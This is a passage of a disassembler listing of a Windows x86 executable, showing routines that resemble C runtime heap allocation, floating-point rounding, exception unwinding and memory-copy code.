locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4CF028
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_4CF020
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------


loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi


loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_435EB4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------


loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi


loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2720000h


loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi


loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2710366h


loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_433C30
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------


loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D


loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: ___:00419AC1p
					; DATA XREF: ___:off_433C3Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_4CD994, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_435FD4, offset sub_41C8C9
		mov	off_435FD0, eax
		mov	off_435FD8, offset sub_41C92F
		mov	off_435FDC, offset sub_41C86F
		mov	off_435FE0, offset sub_41C917
		mov	off_435FE4, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_433C48
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------


loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94


loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------


loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4CDA38
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------


loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------


loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------


loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A


loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552


loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165


loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171


loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]


loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193


loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552


loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]


loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------


loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_433C4C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_433C4C
		mov	ecx, [ebp+8]


loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458


loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------


loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------


loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------


loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------


loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


